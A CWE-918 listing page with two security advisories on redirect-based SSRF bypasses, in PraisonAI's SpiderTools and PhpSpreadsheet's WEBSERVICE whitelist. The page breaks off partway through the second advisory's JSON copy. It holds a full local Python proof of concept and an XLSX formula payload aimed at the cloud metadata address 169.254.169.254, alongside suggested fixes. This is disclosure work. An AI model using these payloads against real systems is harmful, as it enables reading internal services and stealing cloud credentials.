CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
6279 vulnerabilities reference this CWE, most recent first.
GHSA-6H9P-93HQ-Q7H6
Vulnerability from github – Published: 2026-06-18 13:55 – Updated: 2026-07-20 21:24SpiderTools redirect-target SSRF protection bypass
Summary
SpiderTools.scrape_page() validates the initial URL and rejects direct
loopback, private, link-local, metadata, and internal hostnames. It then calls
requests.Session.get() without disabling automatic redirects or validating
redirect Location targets.
Requests follows redirects by default for GET requests. A safe-looking public
URL can therefore pass _validate_url(), redirect to a blocked target such as
127.0.0.1 or 169.254.169.254, and have the redirected response body parsed
and returned by scrape_page().
The same sink is used by extract_links(), crawl(), and extract_text()
through their calls to scrape_page().
Affected component
src/praisonai-agents/praisonaiagents/tools/spider_tools.py
Tested affected:
v3.9.24/d08d98cav3.9.26/62472a23v4.6.56/d3c4a2afv4.6.57/e90d92231853161ad931f3498da57651a9f8b528- current main
2f9677abb2ea68eab864ee8b6a828fd0141612e1
No patched version is known at report time.
Root cause
Current main validates only the caller-supplied URL:
if not self._validate_url(url):
return {"error": f"Invalid or potentially dangerous URL: {url}"}
The fetch then uses Requests defaults:
response = session.get(
url,
timeout=timeout,
verify=verify_ssl
)
Because allow_redirects=False is not set, Requests follows a 3xx redirect to a
new destination that has not been checked by _validate_url() or
_host_is_blocked().
Proof of vulnerability
The PoV below is local-only and does not contact external infrastructure. It
starts a loopback-only internal service and a local redirector. During
PraisonAI's initial host validation, attacker.test is made to look like a
public address. During the actual HTTP request, it routes to the local
redirector, which returns 302 Location: http://127.0.0.1:<port>/secret.
Full PoV:
#!/usr/bin/env python3
"""Local PoV for SpiderTools redirect-target SSRF.
This uses only loopback services. The "attacker" hostname is treated as public
during PraisonAI's initial URL validation, then routed to a local redirector so
the PoV does not contact external infrastructure. The redirector points at a
loopback-only internal service. Vulnerable behavior is confirmed when
SpiderTools follows that redirect and returns the internal response body.
"""
from __future__ import annotations
import http.server
import importlib.util
import inspect
import os
import socket
import socketserver
import threading
from typing import Any
def _load_spider_tools_class():
module_file = os.environ.get("PRAISONAI_SPIDER_TOOLS_FILE")
if module_file:
spec = importlib.util.spec_from_file_location("pov_spider_tools", module_file)
if spec is None or spec.loader is None:
raise RuntimeError(f"Could not load spider_tools file: {module_file}")
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module)
return module.SpiderTools
from praisonaiagents.tools.spider_tools import SpiderTools
return SpiderTools
class InternalHandler(http.server.BaseHTTPRequestHandler):
body = b"SPIDER-INTERNAL-SECRET"
def do_GET(self) -> None: # noqa: N802
self.server.hit = True # type: ignore[attr-defined]
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.send_header("Content-Length", str(len(self.body)))
self.end_headers()
self.wfile.write(self.body)
def log_message(self, *_args: Any) -> None:
return
class RedirectHandler(http.server.BaseHTTPRequestHandler):
target = ""
def do_GET(self) -> None: # noqa: N802
self.server.hit = True # type: ignore[attr-defined]
self.send_response(302)
self.send_header("Location", self.target)
self.end_headers()
def log_message(self, *_args: Any) -> None:
return
def _called_from_spider_host_guard() -> bool:
return any(frame.function == "_host_is_blocked" for frame in inspect.stack())
def main() -> int:
os.environ.pop("ALLOW_LOCAL_CRAWL", None)
internal = socketserver.TCPServer(("127.0.0.1", 0), InternalHandler)
internal.hit = False # type: ignore[attr-defined]
internal_port = internal.server_address[1]
RedirectHandler.target = f"http://127.0.0.1:{internal_port}/secret"
redirect = socketserver.TCPServer(("127.0.0.1", 0), RedirectHandler)
redirect.hit = False # type: ignore[attr-defined]
redirect_port = redirect.server_address[1]
threading.Thread(target=internal.serve_forever, daemon=True).start()
threading.Thread(target=redirect.serve_forever, daemon=True).start()
original_getaddrinfo = socket.getaddrinfo
def fake_getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any):
if host == "attacker.test":
if _called_from_spider_host_guard():
return [
(
socket.AF_INET,
socket.SOCK_STREAM,
6,
"",
("93.184.216.34", port),
)
]
return original_getaddrinfo("127.0.0.1", port, *args, **kwargs)
return original_getaddrinfo(host, port, *args, **kwargs)
tool = _load_spider_tools_class()()
socket.getaddrinfo = fake_getaddrinfo
try:
direct_control = tool.scrape_page(
f"http://127.0.0.1:{internal_port}/secret",
timeout=5,
)
redirect_result = tool.scrape_page(
f"http://attacker.test:{redirect_port}/go",
timeout=5,
)
vulnerable_redirect_hit = bool(redirect.hit) # type: ignore[attr-defined]
vulnerable_internal_hit = bool(internal.hit) # type: ignore[attr-defined]
redirect.hit = False # type: ignore[attr-defined]
internal.hit = False # type: ignore[attr-defined]
import requests
original_session_get = requests.Session.get
def no_redirect_get(self, url, **kwargs): # type: ignore[no-untyped-def]
kwargs.setdefault("allow_redirects", False)
return original_session_get(self, url, **kwargs)
requests.Session.get = no_redirect_get
try:
no_redirect_control = _load_spider_tools_class()().scrape_page(
f"http://attacker.test:{redirect_port}/go",
timeout=5,
)
finally:
requests.Session.get = original_session_get
no_redirect_redirect_hit = bool(redirect.hit) # type: ignore[attr-defined]
no_redirect_internal_hit = bool(internal.hit) # type: ignore[attr-defined]
finally:
socket.getaddrinfo = original_getaddrinfo
redirect.shutdown()
internal.shutdown()
redirect.server_close()
internal.server_close()
print("DIRECT_CONTROL:", direct_control)
print("REDIRECT_RESULT:", redirect_result)
print("REDIRECT_SERVER_HIT:", vulnerable_redirect_hit)
print("INTERNAL_SERVER_HIT:", vulnerable_internal_hit)
print("NO_REDIRECT_CONTROL:", no_redirect_control)
print("NO_REDIRECT_SERVER_HIT:", no_redirect_redirect_hit)
print("NO_REDIRECT_INTERNAL_HIT:", no_redirect_internal_hit)
if not isinstance(direct_control, dict) or "dangerous URL" not in str(direct_control):
raise SystemExit("control failed: direct loopback was not blocked")
if not isinstance(redirect_result, dict) or "error" in redirect_result:
raise SystemExit(f"bypass failed: unexpected result {redirect_result!r}")
if "SPIDER-INTERNAL-SECRET" not in str(redirect_result.get("content", "")):
raise SystemExit("bypass failed: internal body was not returned")
if not vulnerable_redirect_hit or not vulnerable_internal_hit:
raise SystemExit("bypass failed: expected local servers were not hit")
if not no_redirect_redirect_hit or no_redirect_internal_hit:
raise SystemExit("fix control failed: no-redirect mode reached internal service")
print("PRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopback")
return 0
if __name__ == "__main__":
raise SystemExit(main())
Run:
cd /Users/rexliu/Documents/GA\ code/REDit\ Deployment/stack/deploy
env PRAISONAI_SPIDER_TOOLS_FILE=/path/to/PraisonAI/src/praisonai-agents/praisonaiagents/tools/spider_tools.py \
uv run --with requests --with beautifulsoup4 --with lxml --python 3.11 \
poc_spider_tools_redirect_ssrf.py
Observed on current main:
DIRECT_CONTROL: {'error': 'Invalid or potentially dangerous URL: http://127.0.0.1:<port>/secret'}
REDIRECT_RESULT: {'url': 'http://attacker.test:<port>/go', 'status_code': 200, ... 'content': 'SPIDER-INTERNAL-SECRET', ...}
REDIRECT_SERVER_HIT: True
INTERNAL_SERVER_HIT: True
NO_REDIRECT_CONTROL: {'url': 'http://attacker.test:<port>/go', 'status_code': 302, ... 'Location': 'http://127.0.0.1:<port>/secret', ...}
NO_REDIRECT_SERVER_HIT: True
NO_REDIRECT_INTERNAL_HIT: False
PRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopback
The direct control proves direct loopback is blocked. The redirect result proves the same blocked destination is reached through a public-looking initial URL. The no-redirect control proves that disabling automatic redirects prevents the internal request while still receiving the external redirect response.
Why this is not intended behavior
The Spider Tools documentation says scrape_page, extract_links, crawl, and
extract_text refuse dangerous URLs before network requests. The documented
blocked classes include loopback, private/reserved IPs, link-local/cloud
metadata endpoints, internal TLDs, non-HTTP(S) schemes, and parser-smuggling
forms. The same page states the validation is always on for bundled spider tools
and does not require enable_security().
The current code also documents _validate_url() as URL validation "to prevent
SSRF attacks." A redirect to a loopback target bypasses that documented
protection.
Impact
An attacker who can influence a URL passed to scrape_page(),
extract_links(), crawl(), or extract_text() can cause the PraisonAI process
to request destinations that SpiderTools is designed to block.
Potential impact includes:
- reading loopback-only HTTP services;
- probing or reading private network services reachable from the PraisonAI host;
- reading link-local/cloud metadata endpoints if reachable in the deployment environment.
The PoV demonstrates returned response-body disclosure from a loopback-only service. This report does not claim arbitrary code execution or live cloud credential theft without deployment-specific evidence.
Severity
Suggested default severity: Moderate.
High severity may be appropriate for deployments where untrusted users can directly invoke SpiderTools through a network-facing agent, bot, API, or MCP service and sensitive internal or metadata services are reachable.
Suggested fix
Disable automatic redirects in scrape_page():
response = session.get(
url,
timeout=timeout,
verify=verify_ssl,
allow_redirects=False,
)
If redirects should remain supported, follow them manually and validate every
Location target before each hop using the same SSRF guard:
- require
httporhttps; - resolve and validate every redirect hostname;
- reject loopback, private, link-local, reserved, multicast, unspecified, internal, and metadata destinations;
- cap redirect count;
- apply the same safe fetch path to
scrape_page(),extract_links(),crawl(), andextract_text().
Regression tests should cover direct loopback rejection, public-to-loopback
redirect rejection, public-to-public redirects if supported, and all
scrape_page() callers.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.6.58"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonaiagents"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.59"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-57115"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T13:55:14Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# SpiderTools redirect-target SSRF protection bypass\n\n## Summary\n\n`SpiderTools.scrape_page()` validates the initial URL and rejects direct\nloopback, private, link-local, metadata, and internal hostnames. It then calls\n`requests.Session.get()` without disabling automatic redirects or validating\nredirect `Location` targets.\n\nRequests follows redirects by default for GET requests. A safe-looking public\nURL can therefore pass `_validate_url()`, redirect to a blocked target such as\n`127.0.0.1` or `169.254.169.254`, and have the redirected response body parsed\nand returned by `scrape_page()`.\n\nThe same sink is used by `extract_links()`, `crawl()`, and `extract_text()`\nthrough their calls to `scrape_page()`.\n\n## Affected component\n\n```text\nsrc/praisonai-agents/praisonaiagents/tools/spider_tools.py\n```\n\nTested affected:\n\n- `v3.9.24` / `d08d98ca`\n- `v3.9.26` / `62472a23`\n- `v4.6.56` / `d3c4a2af`\n- `v4.6.57` / `e90d92231853161ad931f3498da57651a9f8b528`\n- current main `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n\nNo patched version is known at report time.\n\n## Root cause\n\nCurrent main validates only the caller-supplied URL:\n\n```python\nif not self._validate_url(url):\n return {\"error\": f\"Invalid or potentially dangerous URL: {url}\"}\n```\n\nThe fetch then uses Requests defaults:\n\n```python\nresponse = session.get(\n url,\n timeout=timeout,\n verify=verify_ssl\n)\n```\n\nBecause `allow_redirects=False` is not set, Requests follows a 3xx redirect to a\nnew destination that has not been checked by `_validate_url()` or\n`_host_is_blocked()`.\n\n## Proof of vulnerability\n\nThe PoV below is local-only and does not contact external infrastructure. It\nstarts a loopback-only internal service and a local redirector. During\nPraisonAI\u0027s initial host validation, `attacker.test` is made to look like a\npublic address. During the actual HTTP request, it routes to the local\nredirector, which returns `302 Location: http://127.0.0.1:\u003cport\u003e/secret`.\n\nFull PoV:\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for SpiderTools redirect-target SSRF.\n\nThis uses only loopback services. The \"attacker\" hostname is treated as public\nduring PraisonAI\u0027s initial URL validation, then routed to a local redirector so\nthe PoV does not contact external infrastructure. The redirector points at a\nloopback-only internal service. Vulnerable behavior is confirmed when\nSpiderTools follows that redirect and returns the internal response body.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport http.server\nimport importlib.util\nimport inspect\nimport os\nimport socket\nimport socketserver\nimport threading\nfrom typing import Any\n\n\ndef _load_spider_tools_class():\n module_file = os.environ.get(\"PRAISONAI_SPIDER_TOOLS_FILE\")\n if module_file:\n spec = importlib.util.spec_from_file_location(\"pov_spider_tools\", module_file)\n if spec is None or spec.loader is None:\n raise RuntimeError(f\"Could not load spider_tools file: {module_file}\")\n module = importlib.util.module_from_spec(spec)\n spec.loader.exec_module(module)\n return module.SpiderTools\n\n from praisonaiagents.tools.spider_tools import SpiderTools\n\n return SpiderTools\n\n\nclass InternalHandler(http.server.BaseHTTPRequestHandler):\n body = b\"SPIDER-INTERNAL-SECRET\"\n\n def do_GET(self) -\u003e None: # noqa: N802\n self.server.hit = True # type: ignore[attr-defined]\n self.send_response(200)\n self.send_header(\"Content-Type\", \"text/html\")\n self.send_header(\"Content-Length\", str(len(self.body)))\n self.end_headers()\n self.wfile.write(self.body)\n\n def log_message(self, *_args: Any) -\u003e None:\n return\n\n\nclass RedirectHandler(http.server.BaseHTTPRequestHandler):\n target = \"\"\n\n def do_GET(self) -\u003e None: # noqa: N802\n self.server.hit = True # type: ignore[attr-defined]\n self.send_response(302)\n self.send_header(\"Location\", self.target)\n self.end_headers()\n\n def log_message(self, *_args: Any) -\u003e None:\n return\n\n\ndef _called_from_spider_host_guard() -\u003e bool:\n return any(frame.function == \"_host_is_blocked\" for frame in inspect.stack())\n\n\ndef main() -\u003e int:\n os.environ.pop(\"ALLOW_LOCAL_CRAWL\", None)\n\n internal = socketserver.TCPServer((\"127.0.0.1\", 0), InternalHandler)\n internal.hit = False # type: ignore[attr-defined]\n internal_port = internal.server_address[1]\n\n RedirectHandler.target = f\"http://127.0.0.1:{internal_port}/secret\"\n redirect = socketserver.TCPServer((\"127.0.0.1\", 0), RedirectHandler)\n redirect.hit = False # type: ignore[attr-defined]\n redirect_port = redirect.server_address[1]\n\n threading.Thread(target=internal.serve_forever, daemon=True).start()\n threading.Thread(target=redirect.serve_forever, daemon=True).start()\n\n original_getaddrinfo = socket.getaddrinfo\n\n def fake_getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any):\n if host == \"attacker.test\":\n if _called_from_spider_host_guard():\n return [\n (\n socket.AF_INET,\n socket.SOCK_STREAM,\n 6,\n \"\",\n (\"93.184.216.34\", port),\n )\n ]\n return original_getaddrinfo(\"127.0.0.1\", port, *args, **kwargs)\n return original_getaddrinfo(host, port, *args, **kwargs)\n\n tool = _load_spider_tools_class()()\n socket.getaddrinfo = fake_getaddrinfo\n try:\n direct_control = tool.scrape_page(\n f\"http://127.0.0.1:{internal_port}/secret\",\n timeout=5,\n )\n redirect_result = tool.scrape_page(\n f\"http://attacker.test:{redirect_port}/go\",\n timeout=5,\n )\n vulnerable_redirect_hit = bool(redirect.hit) # type: ignore[attr-defined]\n vulnerable_internal_hit = bool(internal.hit) # type: ignore[attr-defined]\n\n redirect.hit = False # type: ignore[attr-defined]\n internal.hit = False # type: ignore[attr-defined]\n\n import requests\n\n original_session_get = requests.Session.get\n\n def no_redirect_get(self, url, **kwargs): # type: ignore[no-untyped-def]\n kwargs.setdefault(\"allow_redirects\", False)\n return original_session_get(self, url, **kwargs)\n\n requests.Session.get = no_redirect_get\n try:\n no_redirect_control = _load_spider_tools_class()().scrape_page(\n f\"http://attacker.test:{redirect_port}/go\",\n timeout=5,\n )\n finally:\n requests.Session.get = original_session_get\n no_redirect_redirect_hit = bool(redirect.hit) # type: ignore[attr-defined]\n no_redirect_internal_hit = bool(internal.hit) # type: ignore[attr-defined]\n finally:\n socket.getaddrinfo = original_getaddrinfo\n redirect.shutdown()\n internal.shutdown()\n redirect.server_close()\n internal.server_close()\n\n print(\"DIRECT_CONTROL:\", direct_control)\n print(\"REDIRECT_RESULT:\", redirect_result)\n print(\"REDIRECT_SERVER_HIT:\", vulnerable_redirect_hit)\n print(\"INTERNAL_SERVER_HIT:\", vulnerable_internal_hit)\n print(\"NO_REDIRECT_CONTROL:\", no_redirect_control)\n print(\"NO_REDIRECT_SERVER_HIT:\", no_redirect_redirect_hit)\n print(\"NO_REDIRECT_INTERNAL_HIT:\", no_redirect_internal_hit)\n\n if not isinstance(direct_control, dict) or \"dangerous URL\" not in str(direct_control):\n raise SystemExit(\"control failed: direct loopback was not blocked\")\n if not isinstance(redirect_result, dict) or \"error\" in redirect_result:\n raise SystemExit(f\"bypass failed: unexpected result {redirect_result!r}\")\n if \"SPIDER-INTERNAL-SECRET\" not in str(redirect_result.get(\"content\", \"\")):\n raise SystemExit(\"bypass failed: internal body was not returned\")\n if not vulnerable_redirect_hit or not vulnerable_internal_hit:\n raise SystemExit(\"bypass failed: expected local servers were not hit\")\n if not no_redirect_redirect_hit or no_redirect_internal_hit:\n raise SystemExit(\"fix control failed: no-redirect mode reached internal service\")\n\n print(\"PRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopback\")\n return 0\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n```\n\nRun:\n\n```fish\ncd /Users/rexliu/Documents/GA\\ code/REDit\\ Deployment/stack/deploy\nenv PRAISONAI_SPIDER_TOOLS_FILE=/path/to/PraisonAI/src/praisonai-agents/praisonaiagents/tools/spider_tools.py \\\n uv run --with requests --with beautifulsoup4 --with lxml --python 3.11 \\\n poc_spider_tools_redirect_ssrf.py\n```\n\nObserved on current main:\n\n```text\nDIRECT_CONTROL: {\u0027error\u0027: \u0027Invalid or potentially dangerous URL: http://127.0.0.1:\u003cport\u003e/secret\u0027}\nREDIRECT_RESULT: {\u0027url\u0027: \u0027http://attacker.test:\u003cport\u003e/go\u0027, \u0027status_code\u0027: 200, ... \u0027content\u0027: \u0027SPIDER-INTERNAL-SECRET\u0027, ...}\nREDIRECT_SERVER_HIT: True\nINTERNAL_SERVER_HIT: True\nNO_REDIRECT_CONTROL: {\u0027url\u0027: \u0027http://attacker.test:\u003cport\u003e/go\u0027, \u0027status_code\u0027: 302, ... \u0027Location\u0027: \u0027http://127.0.0.1:\u003cport\u003e/secret\u0027, ...}\nNO_REDIRECT_SERVER_HIT: True\nNO_REDIRECT_INTERNAL_HIT: False\nPRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopback\n```\n\nThe direct control proves direct loopback is blocked. The redirect result proves\nthe same blocked destination is reached through a public-looking initial URL.\nThe no-redirect control proves that disabling automatic redirects prevents the\ninternal request while still receiving the external redirect response.\n\n## Why this is not intended behavior\n\nThe Spider Tools documentation says `scrape_page`, `extract_links`, `crawl`, and\n`extract_text` refuse dangerous URLs before network requests. The documented\nblocked classes include loopback, private/reserved IPs, link-local/cloud\nmetadata endpoints, internal TLDs, non-HTTP(S) schemes, and parser-smuggling\nforms. The same page states the validation is always on for bundled spider tools\nand does not require `enable_security()`.\n\nThe current code also documents `_validate_url()` as URL validation \"to prevent\nSSRF attacks.\" A redirect to a loopback target bypasses that documented\nprotection.\n\n## Impact\n\nAn attacker who can influence a URL passed to `scrape_page()`,\n`extract_links()`, `crawl()`, or `extract_text()` can cause the PraisonAI process\nto request destinations that SpiderTools is designed to block.\n\nPotential impact includes:\n\n- reading loopback-only HTTP services;\n- probing or reading private network services reachable from the PraisonAI host;\n- reading link-local/cloud metadata endpoints if reachable in the deployment\n environment.\n\nThe PoV demonstrates returned response-body disclosure from a loopback-only\nservice. This report does not claim arbitrary code execution or live cloud\ncredential theft without deployment-specific evidence.\n\n## Severity\n\nSuggested default severity: Moderate.\n\nHigh severity may be appropriate for deployments where untrusted users can\ndirectly invoke SpiderTools through a network-facing agent, bot, API, or MCP\nservice and sensitive internal or metadata services are reachable.\n\n## Suggested fix\n\nDisable automatic redirects in `scrape_page()`:\n\n```python\nresponse = session.get(\n url,\n timeout=timeout,\n verify=verify_ssl,\n allow_redirects=False,\n)\n```\n\nIf redirects should remain supported, follow them manually and validate every\n`Location` target before each hop using the same SSRF guard:\n\n- require `http` or `https`;\n- resolve and validate every redirect hostname;\n- reject loopback, private, link-local, reserved, multicast, unspecified,\n internal, and metadata destinations;\n- cap redirect count;\n- apply the same safe fetch path to `scrape_page()`, `extract_links()`,\n `crawl()`, and `extract_text()`.\n\nRegression tests should cover direct loopback rejection, public-to-loopback\nredirect rejection, public-to-public redirects if supported, and all\n`scrape_page()` callers.",
"id": "GHSA-6h9p-93hq-q7h6",
"modified": "2026-07-20T21:24:09Z",
"published": "2026-06-18T13:55:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h9p-93hq-q7h6"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: SpiderTools redirect-target SSRF protection bypass"
}
GHSA-6HQ5-7373-42RG
Vulnerability from github – Published: 2026-07-23 14:55 – Updated: 2026-07-23 14:55Summary
The domain whitelist introduced in PhpSpreadsheet 5.4.0 for the WEBSERVICE() formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL's hostname, but file_get_contents() follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect.
Details
In Calculation/Web/Service.php, the webService() method validates the URL's host against a domain whitelist set via Spreadsheet::setDomainWhiteList(). If the host passes validation, the method calls file_get_contents($url, false, $ctx) to fetch the content.
The stream context does not disable redirect following:
$ctxArray = [
'http' => [
'user_agent' => 'Mozilla/5.0 ...',
// follow_location defaults to true
// max_redirects defaults to 20
],
];
PHP's HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is not re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses.
Vulnerable code (Calculation/Web/Service.php):
// Whitelist check — runs ONCE on the initial URL
$domainWhiteList = $cell?->getWorksheet()->getParent()?->getDomainWhiteList() ?? [];
$host = $parsed['host'] ?? '';
if (!in_array($host, $domainWhiteList, true)) {
return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED;
}
// HTTP request — follows redirects to ANY destination
$ctx = stream_context_create($ctxArray);
$output = @file_get_contents($url, false, $ctx);
Additionally, the whitelist check uses only the hostname from parse_url(), ignoring the port. This means whitelisting example.com permits access to all ports on that host.
PoC
Prerequisites:
- Application uses PhpSpreadsheet >= 5.4.0
- Application calls $spreadsheet->setDomainWhiteList([...]) with at least one domain
- Application calls $cell->getCalculatedValue() on uploaded XLSX files
Attack steps:
-
Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls).
-
Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL:
<c r="A1">
<f>_xlfn.WEBSERVICE("http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/")</f>
</c>
- Upload the XLSX to the target application. The calculation engine:
- Validates
whitelisted-domain.comagainst the whitelist — passes - Calls
file_get_contents("http://whitelisted-domain.com/redirect?url=...") file_get_contentsfollows the 302 redirect tohttp://169.254.169.254/latest/meta-data/— no re-validation- Returns the cloud metadata response as the cell's calculated value
Lab reproduction:
# Setup (PhpSpreadsheet 5.7.0, PHP 8.3)
# App whitelists "trusted-api.example.com"
# Redirect server on trusted-api.example.com:7071 returns 302 → internal target
# Test 1: Direct internal access — BLOCKED by whitelist
=WEBSERVICE("http://127.0.0.1:9090/internal-api/secrets")
→ Result: null (blocked)
# Test 2: Via redirect from whitelisted domain — BYPASS
=WEBSERVICE("http://trusted-api.example.com:7071/redirect-to-internal")
→ Result: {"ssrf":"CONFIRMED","secret":"internal-api-key-LATEST","server":"Linux ..."}
Confirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain).
Impact
An attacker who can upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can:
- Bypass the domain whitelist by routing requests through a whitelisted domain that redirects to internal targets
- Exfiltrate cloud metadata (AWS/GCP/Azure instance credentials) via
http://169.254.169.254/ - Access internal services not exposed to the internet
- Port-scan internal networks via any whitelisted hostname (port is not validated)
This is a full-read SSRF — the complete HTTP response body (up to 32,767 bytes) is returned to the attacker as the cell's calculated value.
Attack scenarios: - Whitelisted domain has an open redirect vulnerability - Attacker controls the whitelisted domain (e.g., a free-tier API service) - DNS rebinding after the whitelist check
Suggested Fix
Disable redirect following in the stream context:
$ctxArray = [
'http' => [
'user_agent' => '...',
'follow_location' => false,
'max_redirects' => 0,
],
];
Alternatively, if redirects must be supported, implement manual redirect following that re-validates each hop's hostname against the domain whitelist.
Additionally, consider including the port in the whitelist check to prevent port scanning of whitelisted hosts.
Related
This vulnerability is in the same function as the original WEBSERVICE() SSRF (unrestricted in versions < 5.4.0, no CVE assigned), but is a distinct issue: it bypasses the specific mitigation (domain whitelist) that was introduced in PR #4751 to address the original SSRF.
Existing SSRF CVEs in PhpSpreadsheet (CVE-2024-45290, CVE-2024-45291, CVE-2025-54370) are all in the Drawing/image loading code path, not in the WEBSERVICE calculation engine.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.8.0"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "5.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.6"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"fixed": "3.10.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.4.6"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.4.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.1.17"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.1.18"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.30.5"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.30.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59931"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-23T14:55:48Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe domain whitelist introduced in PhpSpreadsheet 5.4.0 for the `WEBSERVICE()` formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL\u0027s hostname, but `file_get_contents()` follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect.\n\n### Details\n\nIn `Calculation/Web/Service.php`, the `webService()` method validates the URL\u0027s host against a domain whitelist set via `Spreadsheet::setDomainWhiteList()`. If the host passes validation, the method calls `file_get_contents($url, false, $ctx)` to fetch the content.\n\nThe stream context does not disable redirect following:\n\n```php\n$ctxArray = [\n \u0027http\u0027 =\u003e [\n \u0027user_agent\u0027 =\u003e \u0027Mozilla/5.0 ...\u0027,\n // follow_location defaults to true\n // max_redirects defaults to 20\n ],\n];\n```\n\nPHP\u0027s HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is **not** re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses.\n\n**Vulnerable code** (`Calculation/Web/Service.php`):\n\n```php\n// Whitelist check \u2014 runs ONCE on the initial URL\n$domainWhiteList = $cell?-\u003egetWorksheet()-\u003egetParent()?-\u003egetDomainWhiteList() ?? [];\n$host = $parsed[\u0027host\u0027] ?? \u0027\u0027;\nif (!in_array($host, $domainWhiteList, true)) {\n return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED;\n}\n\n// HTTP request \u2014 follows redirects to ANY destination\n$ctx = stream_context_create($ctxArray);\n$output = @file_get_contents($url, false, $ctx);\n```\n\nAdditionally, the whitelist check uses only the hostname from `parse_url()`, ignoring the port. This means whitelisting `example.com` permits access to all ports on that host.\n\n### PoC\n\n**Prerequisites:**\n- Application uses PhpSpreadsheet \u003e= 5.4.0\n- Application calls `$spreadsheet-\u003esetDomainWhiteList([...])` with at least one domain\n- Application calls `$cell-\u003egetCalculatedValue()` on uploaded XLSX files\n\n**Attack steps:**\n\n1. Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls).\n\n2. Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL:\n\n```xml\n\u003cc r=\"A1\"\u003e\n \u003cf\u003e_xlfn.WEBSERVICE(\"http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/\")\u003c/f\u003e\n\u003c/c\u003e\n```\n\n3. Upload the XLSX to the target application. The calculation engine:\n - Validates `whitelisted-domain.com` against the whitelist \u2014 **passes**\n - Calls `file_get_contents(\"http://whitelisted-domain.com/redirect?url=...\")` \n - `file_get_contents` follows the 302 redirect to `http://169.254.169.254/latest/meta-data/` \u2014 **no re-validation**\n - Returns the cloud metadata response as the cell\u0027s calculated value\n\n**Lab reproduction:**\n\n```bash\n# Setup (PhpSpreadsheet 5.7.0, PHP 8.3)\n# App whitelists \"trusted-api.example.com\"\n# Redirect server on trusted-api.example.com:7071 returns 302 \u2192 internal target\n\n# Test 1: Direct internal access 